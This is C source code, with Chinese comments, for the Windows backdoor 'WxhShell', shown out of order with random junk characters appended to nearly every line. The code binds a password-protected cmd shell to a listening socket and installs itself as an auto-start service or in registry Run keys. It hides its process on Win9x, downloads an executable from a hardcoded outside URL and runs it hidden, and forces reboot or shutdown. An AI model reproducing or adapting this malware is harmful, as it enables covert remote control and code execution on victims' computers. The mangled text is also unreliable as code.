    if(Boot(SHUTDOWN)) S-gO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {dpDQP +!  
    else { zN]%p>,)HB  
    closesocket(wsh); jTt9;?)  
    ExitThread(0); 0!lWxS0#=  
    } ][?J8F  
    break; QOg >|"KL  
    } ; xp-MK  
  // 获取shell >|kD(}Axf  
  case 's': { `kQosQV  
    CmdShell(wsh); gz[3xH~  
    closesocket(wsh); J-dB  
    ExitThread(0); g([:"y?  
    break; !\BZ_guz  
  } YJ"D"QD  
  // 退出 j"h/v7~  
  case 'x': { [*zg? ur  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JOt(r}gU  
    CloseIt(wsh); Y01! D"{\  
    break; e]88 4FP  
    } ug2W{D  
  // 离开 ycc G>%>r  
  case 'q': { p2t0 4p!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H2Wlgt  
    closesocket(wsh); C7NSmZ  
    WSACleanup(); z_ycH%p  
    exit(1); p5or"tK  
    break; M;ADL|  
        } GK'p$`oJm  
  } LPJ7V` !k  
  } q: FhuOP  
FV "pJ  
  // 提示信息 4FRi=d;mP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c6 mS  
} -X$EE$:  
  } wxh\CBxG  
Fl=H5HR  
  return; UiH7  
} h^tCF=S  
a6DR' BC  
// shell模块句柄 *1`X}  
int CmdShell(SOCKET sock) b1 w@toc  
{ .aY $-Y<  
STARTUPINFO si; !KK`+ 9/  
ZeroMemory(&si,sizeof(si)); c5WMN.z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pl&nr7\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Uz!3){E  
PROCESS_INFORMATION ProcessInfo; Jk\-e`eE  
char cmdline[]="cmd"; qq&U)-`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H@xS<=:lM  
  return 0; 3_XLx{["'  
} HBE[q#  
bT2G G  
// 自身启动模式 nD*iSb*  
int StartFromService(void) uWdF7|PN7  
{ A<)n H=G&  
typedef struct 65~E<)UJ  
{ pz['o  
  DWORD ExitStatus; /CsP@f_Gw  
  DWORD PebBaseAddress; 7<WS@-2I#  
  DWORD AffinityMask; 1;=L] L?  
  DWORD BasePriority; %mT/y%&:  
  ULONG UniqueProcessId; 3jxC}xz)  
  ULONG InheritedFromUniqueProcessId; Dbn344s  
}   PROCESS_BASIC_INFORMATION; g[pU5%|"[  
-\?-  
PROCNTQSIP NtQueryInformationProcess; pK3A/ry<  
@y;VV*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .@OQ$ D<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [d[w/@  
2'S&%UyP  
  HANDLE             hProcess; 63u%=-T%a  
  PROCESS_BASIC_INFORMATION pbi; VmPh''Z%-  
#4$YQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^{MqJ\S7H  
  if(NULL == hInst ) return 0; JnBc@qnP6  
4DCh+|r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _< .VP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8~C}0H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `3T=z{HR9g  
*GE6zGdN  
  if (!NtQueryInformationProcess) return 0; ^ l]!'"  
! s =$UC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *FC8=U2\X  
  if(!hProcess) return 0; C 6 \  
C][hH?.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L4/ns@e  
bOr11?  
  CloseHandle(hProcess);  1}=D  
T"Y#u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iLSUz j`  
if(hProcess==NULL) return 0; <7J3tn B  
2w7$"N  
HMODULE hMod; 3O$l;|SX  
char procName[255]; `Uz.9_6  
unsigned long cbNeeded; wz:e\ !  
d5gwc5X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NzQvciJ@"  
}?Y -I> w  
  CloseHandle(hProcess); iptA#<Yj  
L!Y|`P#Yr  
if(strstr(procName,"services")) return 1; // 以服务启动 Ln,<|,fZN  
X^eyrqv  
  return 0; // 注册表启动 Ljz)%y[s  
} 2T2<I/")O  
G^)]FwTs  
// 主模块 a^J(TW/  
int StartWxhshell(LPSTR lpCmdLine) ,Lp"Ia  
{ }VJ>}i*  
  SOCKET wsl; 2PSExK57  
BOOL val=TRUE; Bn&P@C$7  
  int port=0; 8m iJQIq  
  struct sockaddr_in door; ^;PjO|mD Z  
f<bB= 9J  
  if(wscfg.ws_autoins) Install(); {k.:DH)  
fKY-@B[|  
port=atoi(lpCmdLine); 7Fo^ :"  
j.Uy>ol  
if(port<=0) port=wscfg.ws_port; ]}g\te  
,V9qiu=m   
  WSADATA data; uZn_*_J!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Fw&ImRMk  
PdO"e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qA7,txQ:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L%v@|COQ3  
  door.sin_family = AF_INET; GW>F:<p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &qXobJRM  
  door.sin_port = htons(port); =H;n$ -P  
]" V_`i7Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cN&Ebn  
closesocket(wsl); G>vK$W$f N  
return 1; *$0*5d7  
} n}Z%D-b$  
[ft6xI  
  if(listen(wsl,2) == INVALID_SOCKET) { akbB=:M,x  
closesocket(wsl); 2K>1,[C'Z  
return 1; }V] b4t  
} rwj+N%N  
  Wxhshell(wsl); >WLX5i&  
  WSACleanup(); tP|/Q 5s  
Jp"29 )w  
return 0; Z]b;%:>=  
.c]>*/(+  
} )Q`Ycz-  
i. 6b%  
// 以NT服务方式启动 N:U}b1$L6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s&nat4{B  
{ yGtTD9j  
DWORD   status = 0; FA-cTF[,(  
  DWORD   specificError = 0xfffffff; K]$PRg1| 3  
^O7sQ7V"f=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OlyW/hd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~F-knEvL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F?2UHcs  
  serviceStatus.dwWin32ExitCode     = 0; 0a:oC(Ak  
  serviceStatus.dwServiceSpecificExitCode = 0; &l2xh~L  
  serviceStatus.dwCheckPoint       = 0; ?X|q   
  serviceStatus.dwWaitHint       = 0; {ax]t-ZwJ5  
r*b+kSh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9RlJf=Z#H  
  if (hServiceStatusHandle==0) return; afX|R  
((]i}s0S  
status = GetLastError(); ~`Bk CTT  
  if (status!=NO_ERROR) Ich^*z(F$  
{ P,] ./m\J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &Pme4IHtm  
    serviceStatus.dwCheckPoint       = 0; ~vDa2D<9%  
    serviceStatus.dwWaitHint       = 0; =|AYT6z,  
    serviceStatus.dwWin32ExitCode     = status; }d}sC\>U  
    serviceStatus.dwServiceSpecificExitCode = specificError; %N&.B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [#Apd1S_  
    return; n32"cFPpT  
  } _s@PL59,  
'-A;B.GV%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5XX)8gAo  
  serviceStatus.dwCheckPoint       = 0; >6Uc|D  
  serviceStatus.dwWaitHint       = 0; L,A+"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -'qVnu  
} J(}PvkA  
\VhG'd3k  
// 处理NT服务事件,比如:启动、停止 |qe;+)0>K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d%k7n+ICQ4  
{ \}h   
switch(fdwControl) L<=Dl  
{ A3tv'-e9  
case SERVICE_CONTROL_STOP: yC$m(Y12FN  
  serviceStatus.dwWin32ExitCode = 0; -B-G$ii  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ka!w\v  
  serviceStatus.dwCheckPoint   = 0; }y*D(`  
  serviceStatus.dwWaitHint     = 0; ~ 3M4F^  
  { RYCiO,+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z0LspRaz  
  } vW eg1  
  return; =cV|o]  
case SERVICE_CONTROL_PAUSE: Z4Q]By:/L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %2dzx[s  
  break; u3qx G3  
case SERVICE_CONTROL_CONTINUE: ;8PO}{rD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; giu{,gS0?M  
  break; ,&@GxiU  
case SERVICE_CONTROL_INTERROGATE: ?l%4 P5  
  break; 4F.,Y3  
}; U)f('zD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bu6Sp3g  
} A{;"e^a-^l  
z<9C-  
// 标准应用程序主函数 Q(-&}cY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8>WA5:]v  
{ 5QK%BiDlr  
J/P[9m30[  
// 获取操作系统版本 "|I.j)  
OsIsNt=GetOsVer(); t[+bZUS$~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "9'3mmZm=?  
N{bg-%s10i  
  // 从命令行安装 KE"6I  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8<}=f4vUj5  
AJ6l#j-  
  // 下载执行文件 Kw"e4 a  
if(wscfg.ws_downexe) { rzHBop-8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rK'Lvt@w  
  WinExec(wscfg.ws_filenam,SW_HIDE); .?s jr4   
} o@gceZuk  
#pPOQv:~  
if(!OsIsNt) { .*YF{!R`h  
// 如果时win9x,隐藏进程并且设置为注册表启动 :@jctH~  
HideProc(); %ZD]qaU0  
StartWxhshell(lpCmdLine); P\K#q%8  
} DgcS@N  
else G7Ck P  
  if(StartFromService()) U&6A)SW,k  
  // 以服务方式启动 (${:5W  
  StartServiceCtrlDispatcher(DispatchTable); ?7wcv$K5  
else k^|z.$+  
  // 普通方式启动 ]@Y!,bw&  
  StartWxhshell(lpCmdLine); IrZ\;!NK  
&4evh<z  
return 0; >3D1:0Sg  
} 67&IaDts  
I)1ih  
 Mj1f;$  
:(ql=+vDb4  
=========================================== _+ 9i  
#*pB"L  
L&s~j/ pR  
{1Cnrjw  
75p9_)>96  
mZB:j]T  
" 7"2BZ  
)/DN>rU  
#include <stdio.h> k0=!%f_G!  
#include <string.h> 0qNmao4E_  
#include <windows.h> +o4o!;E)  
#include <winsock2.h> Wjq9f;  
#include <winsvc.h> ]Xa]a}[uE  
#include <urlmon.h> LE{@J0r#n  
Uv[a ~'  
#pragma comment (lib, "Ws2_32.lib") ($`IHKF1.l  
#pragma comment (lib, "urlmon.lib") _Ycz@Jn  
;taZixOH  
#define MAX_USER   100 // 最大客户端连接数 1@{ov!YB]  
#define BUF_SOCK   200 // sock buffer d+)LK~  
#define KEY_BUFF   255 // 输入 buffer ~Yc~_)hD  
%t,42jQ9  
#define REBOOT     0   // 重启 ^A&{g.0  
#define SHUTDOWN   1   // 关机 (*r2bm2FPO  
]T/%Bau  
#define DEF_PORT   5000 // 监听端口 yLLA:5Q1  
U@).jpN  
#define REG_LEN     16   // 注册表键长度 ]vB^%  
#define SVC_LEN     80   // NT服务名长度 N[O .p]8  
){P`-ZF  
// 从dll定义API >WZ%Pv *  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (BtU\f#d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Pq<43:*?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Eh;Ia6}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i_m& qy<v  
V0m1>{  
// wxhshell配置信息 w uY-f4  
struct WSCFG { :_i1gY)  
  int ws_port;         // 监听端口 5P #._Em  
  char ws_passstr[REG_LEN]; // 口令 JdI*@b2k[  
  int ws_autoins;       // 安装标记, 1=yes 0=no yn ofDGAf  
  char ws_regname[REG_LEN]; // 注册表键名 uY)4y0  
  char ws_svcname[REG_LEN]; // 服务名 7Fpa%N/WL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EwG+' nlE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?MSZO]Q4+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HLz<C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ha|2u(4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X~m57 b j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :CM-I_6  
+&"W:Le:  
}; &u|t{C#0  
= .S2gO >  
// default Wxhshell configuration 2u_=i$xW  
struct WSCFG wscfg={DEF_PORT, gYbvCs8O!  
    "xuhuanlingzhe", _5n2'\] H`  
    1, FEhBhv|m  
    "Wxhshell", mQ}\ptdfV  
    "Wxhshell", Eyf17  
            "WxhShell Service", b?0WA.[{  
    "Wrsky Windows CmdShell Service", J6EzD\.Y)  
    "Please Input Your Password: ", hU(  
  1, NM9ViYm>P  
  "http://www.wrsky.com/wxhshell.exe", Rq|5%;1  
  "Wxhshell.exe" RgFpc*.T  
    }; "fNv(> -7s  
1 c"s+k]9  
// 消息定义模块 6flO;d/v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7Y~5gn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; IuPDr %  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~hk!N!J\  
char *msg_ws_ext="\n\rExit."; IA1O]i S  
char *msg_ws_end="\n\rQuit."; W!8$:Ih_Z  
char *msg_ws_boot="\n\rReboot..."; |U1u:=[  
char *msg_ws_poff="\n\rShutdown..."; 5C*Zb3VG4  
char *msg_ws_down="\n\rSave to "; p({|=+bl  
NY?iuWa*g  
char *msg_ws_err="\n\rErr!"; /Tl ybSC1  
char *msg_ws_ok="\n\rOK!"; )N{PWSPs  
8z=o.\@  
char ExeFile[MAX_PATH]; |#*+#27  
int nUser = 0; 0j;|IU\  
HANDLE handles[MAX_USER]; HWoMzp5="3  
int OsIsNt; &flcJ`  
~O./A-l  
SERVICE_STATUS       serviceStatus; M[b~5L+S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (1{OQ0N+x  
A+Je?3/.  
// 函数声明 ocW`sE?EED  
int Install(void); K'e!BZm6Q  
int Uninstall(void); "[A&S!  
int DownloadFile(char *sURL, SOCKET wsh); [uie]*^  
int Boot(int flag); j }^?Snq  
void HideProc(void); rf$[8d  
int GetOsVer(void); \2@9k`  
int Wxhshell(SOCKET wsl); J=^5GfM)J  
void TalkWithClient(void *cs); ZQz;EV!  
int CmdShell(SOCKET sock); {XhpxJ__  
int StartFromService(void); )}w-;HX  
int StartWxhshell(LPSTR lpCmdLine); 2s 9U&  
'uUa|J1mu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Jz;`L3m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z SsogAx  
*qMjoP,  
// 数据结构和表定义 k3OnvnJb  
SERVICE_TABLE_ENTRY DispatchTable[] = >>J!|  
{ OB,T>o@  
{wscfg.ws_svcname, NTServiceMain}, AsZyPybq  
{NULL, NULL} a3Z()|t>  
}; _["97>q  
Vyx&MU.-J  
// 自我安装 jq/{|<0  
int Install(void) z9#jXC#OdN  
{ f}FJR6VO  
  char svExeFile[MAX_PATH]; R<h0RKiM@  
  HKEY key; OK}8BY  
  strcpy(svExeFile,ExeFile); gJOswN;([  
@iz S_I,  
// 如果是win9x系统,修改注册表设为自启动 ";0-9*I  
if(!OsIsNt) { &E k\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wAb_fU&*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GEb)nHQq  
  RegCloseKey(key); |("5 :m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hW c M.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NX+ eig</-  
  RegCloseKey(key); ;rF:$37^  
  return 0; gY=+G6;=<  
    } )./'RE+(k  
  } A,ao2)  
} Q([g1?F9*  
else { ~ YZi"u  
8>:2li  
// 如果是NT以上系统,安装为系统服务 HoM8V"8B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VxAR,a1+n  
if (schSCManager!=0) J Y> I  
{ DNM~/Oo  
  SC_HANDLE schService = CreateService uoBPi[nK  
  ( ,%m$_wA$  
  schSCManager, gD fVY%[Z  
  wscfg.ws_svcname, :\1&5Pm]  
  wscfg.ws_svcdisp, 9Bmgz =8  
  SERVICE_ALL_ACCESS, JeCEj=_Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X_|} b[b  
  SERVICE_AUTO_START, %^ E>~  
  SERVICE_ERROR_NORMAL, `[1]wV5(5@  
  svExeFile, [ 06B)|s  
  NULL,  })w5`?Y  
  NULL, a-DE-V Uls  
  NULL, :Ws3+OI'm3  
  NULL, *KV] MdS  
  NULL qdu:kA:]  
  ); 1-gX=8]]  
  if (schService!=0) C{S6Ri  
  { ma* 9O |v^  
  CloseServiceHandle(schService); 4';['  
  CloseServiceHandle(schSCManager); X}bgRzj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <~8W>Y\m  
  strcat(svExeFile,wscfg.ws_svcname); tv|=`~Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )ZmE"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +V\NMW4d  
  RegCloseKey(key); )'<zC  
  return 0; bm7$DKp#  
    } &q` =xF  
  } QnOa?0HL/  
  CloseServiceHandle(schSCManager); p|bpE F=U  
} ~E`A,  
} IweQB}d  
Cw^)}23R  
return 1; EGMcU| yL  
} Yc5$915  
X:g5>is|  
// 自我卸载 y.oJzU[p%  
int Uninstall(void) MDCf(LhEH  
{ *'t`;m~  
  HKEY key; }&naP   
KJkcmF}Q  
if(!OsIsNt) { @',;/j80  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { da^9Fb  
  RegDeleteValue(key,wscfg.ws_regname); |$0/:*  
  RegCloseKey(key); SI(8.$1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %yrP: fg/  
  RegDeleteValue(key,wscfg.ws_regname); IH0^*f  
  RegCloseKey(key); 6qA{l_V  
  return 0; 2I4P":q  
  } =UP)b9*h  
} 3a S>U #  
} -T(V6&'Qi  
else { f3h9CV  
nb!m>0*/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CUd'*Ewu  
if (schSCManager!=0) V7v,)a" L  
{ |3cR'|<Ual  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )T+htD)  
  if (schService!=0) J\0YL\jw1K  
  { y@z #Jw<  
  if(DeleteService(schService)!=0) { ^b.J z}  
  CloseServiceHandle(schService); \5l}5<|  
  CloseServiceHandle(schSCManager); TPzoU" qh  
  return 0; v>P){VT  
  } ?d%}K76V<  
  CloseServiceHandle(schService); ixkg,  
  } 0nd<6S+fs  
  CloseServiceHandle(schSCManager); MLb\:Ihy  
} TP^0`L  
} \dMsv1\  
[)=FZF6kG  
return 1; x"d*[m  
} 3WVHI$A9  
$_UF9 l0  
// 从指定url下载文件 Q&LkST-i  
int DownloadFile(char *sURL, SOCKET wsh) Ek BM>*W  
{ mnia>; 0H  
  HRESULT hr; }?^G= IP4(  
char seps[]= "/"; Z~gqTB]H  
char *token; Mf63 59  
char *file; tpctz~ .  
char myURL[MAX_PATH]; *dl@)~i  
char myFILE[MAX_PATH]; WQ]pg "  
] ge-b\  
strcpy(myURL,sURL); `F@yZ4L3S  
  token=strtok(myURL,seps); M/qiA.C@W  
  while(token!=NULL) N@>S>U8C  
  { lo#,zd~  
    file=token; I R&u55#I6  
  token=strtok(NULL,seps); PTh Ya  
  } s5dh]vNN  
^eRuj)$5A  
GetCurrentDirectory(MAX_PATH,myFILE); WveFB%@`;  
strcat(myFILE, "\\"); V]2z5u_q  
strcat(myFILE, file); wtKh8^:YD  
  send(wsh,myFILE,strlen(myFILE),0); gs3}rW  
send(wsh,"...",3,0); A.FI] K@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o5R\7}]GE  
  if(hr==S_OK) 6M9rC[h\  
return 0; zl[JnVF\6  
else CAA~VEUL  
return 1; L5W>in5(  
gr=`_k4~1  
} XTJ>y@  
vX\e* v  
// 系统电源模块 GS H{1VS_b  
int Boot(int flag) wMoAvA_oS  
{ @!da1jN  
  HANDLE hToken; +9J>'oe'D  
  TOKEN_PRIVILEGES tkp; ^b~5zhY&  
>>r:L3<!  
  if(OsIsNt) { *Y ZLQT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P.:T zk6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6>I.*Qt \l  
    tkp.PrivilegeCount = 1; :Mk}Suf&H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [1U_c*;i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); QFYy$T+W  
if(flag==REBOOT) { a6d KQ3D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I'C ,'  
  return 0; :Eyv==  
} 7w*&Yg]  
else { d8#j@='a*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2'U9!. o  
  return 0; >e;f{  
} O~el2   
  } Q:\hh=^  
  else { bRK9Qt#3  
if(flag==REBOOT) { `^kST><  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (% P=#vZ  
  return 0; Ev16xL8B  
} wrU[#g,uvr  
else { -wfV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *zWn4BckN  
  return 0; 'r%oOZk)z  
} jxaoQeac  
} v2{s2kB=  
sh2bhv]  
return 1; [\1l4C  
} vNbA/sM  
mtHz6+  
// win9x进程隐藏模块 "_j7kYAl  
void HideProc(void) U^&Cvxc[[  
{ #8jd,I% L  
k Dt)S$N4n  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MavO`m&Cg  
  if ( hKernel != NULL ) (SK5pU  
  { 4#q JX)/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FF/R_xnx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E,@UM$alP  
    FreeLibrary(hKernel); df& |Lc1J  
  } W)cLMGet  
;G]'}$`/q  
return; :\_MA^<  
} F.D1;,x  
c^IEj1@}'?  
// 获取操作系统版本 ud D[hPJd  
int GetOsVer(void) H@' @xHv  
{ ;[ueNP%*y|  
  OSVERSIONINFO winfo; hJsC \C,^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4 G[hU4L  
  GetVersionEx(&winfo); Yur)_m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @/L. BfTz  
  return 1; u0b-JJ7)BQ  
  else sEyl\GL  
  return 0; S45>f(!  
} 5i#w:O\cz  
j:3Hm0W3  
// 客户端句柄模块 h+D=/:B  
int Wxhshell(SOCKET wsl) YWrY{6M  
{ .`N` M9  
  SOCKET wsh; {1|7N GQ  
  struct sockaddr_in client; ZF (=^.gc  
  DWORD myID; {C6;$#7P  
W2h[NimU  
  while(nUser<MAX_USER) l$_rA~Mo  
{ z&,sm5Lb  
  int nSize=sizeof(client); T l(uqY?9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \r,. hUp  
  if(wsh==INVALID_SOCKET) return 1; $:II @=  
#9VY[<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #/<Y!qV&  
if(handles[nUser]==0) 4 GW[GT  
  closesocket(wsh); , vyx`wDd  
else %W;Gf9.w  
  nUser++; 4ZpF1Zc4B  
  } 5O ;^Mk|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z %E!tB2o  
*%'7~58ObS  
  return 0; G!%XQ\a!  
} {NgY8w QB  
9mphj)`d;#  
// 关闭 socket gEHfsR=D6  
void CloseIt(SOCKET wsh) ArzsZ<\//  
{ d ovwB`5  
closesocket(wsh); JBAK*g  
nUser--; XYF~Q9~  
ExitThread(0); VQMd[/  
} |o=ST  
t`t:qko  
// 客户端请求句柄 jYID44$  
void TalkWithClient(void *cs) yc=#Jn?S  
{ bI6wE'h  
<SdJM1%Qo  
  SOCKET wsh=(SOCKET)cs; .eB"la|d  
  char pwd[SVC_LEN]; {eN{Zh5"  
  char cmd[KEY_BUFF]; FKnQwX.0  
char chr[1]; VQjFEJ  
int i,j; 1";e'? ^x  
SliQwm5  
  while (nUser < MAX_USER) { -G#@BtB2+  
EiP&Y,vT  
if(wscfg.ws_passstr) { (A fbS=[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '4lT*KN7\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wf< `J/7u  
  //ZeroMemory(pwd,KEY_BUFF); yPG\ &Bo  
      i=0; )6 0f  
  while(i<SVC_LEN) { >@"3Q`  
7C7(bg,7^  
  // 设置超时 ^^3va)1{!  
  fd_set FdRead; Qwo9>ClC  
  struct timeval TimeOut; wDMB  
  FD_ZERO(&FdRead); 4m[C-NB!g  
  FD_SET(wsh,&FdRead); cW\Y?x   
  TimeOut.tv_sec=8; Hs -.83V  
  TimeOut.tv_usec=0; _QUu'zJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \If!5N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u+'@>%7  
-L3 |9k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bW.zxQ :  
  pwd=chr[0]; * r4/|.l  
  if(chr[0]==0xd || chr[0]==0xa) { ^'53]b:  
  pwd=0; SOQ-D4q  
  break; vp75u93  
  } gXLZ)>+A+  
  i++; \{=`F`oB=  
    } m<,G:?RM  
3et2\wOX1x  
  // 如果是非法用户,关闭 socket ~eOj:H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); eTRx6Fri(  
} \g:qQ*.  
fy=C!N&/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p2c=;5|/Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +'Y( V&  
+;wqX]SD&  
while(1) { = EChH@3  
XvkI +c  
  ZeroMemory(cmd,KEY_BUFF); d7tD|[(J  
SAE '?_  
      // 自动支持客户端 telnet标准   cvXI]+`<3\  
  j=0; Pzm!`F^r}  
  while(j<KEY_BUFF) { K9O,7h:x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FDd>(!>  
  cmd[j]=chr[0]; [g h[F  
  if(chr[0]==0xa || chr[0]==0xd) { LXu"rfp  
  cmd[j]=0; %v+fN?%x,d  
  break; u"8;fS  
  } ~eV!!38 J  
  j++; +b,31  
    } xAd>",=~  
s3_e7D ^H  
  // 下载文件 Vkvb=  
  if(strstr(cmd,"http://")) { ) 4L%zl7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V3A>Ag+^~  
  if(DownloadFile(cmd,wsh)) /$Tl#   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sd<@X@iU8D  
  else :CkR4J!m3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o=RqegL  
  } t3#H@0<  
  else { 'f?&EsIV?  
eFj6p<  
    switch(cmd[0]) { _z(5e  
  Ad`[Rt']kI  
  // 帮助 B`?N0t%X  
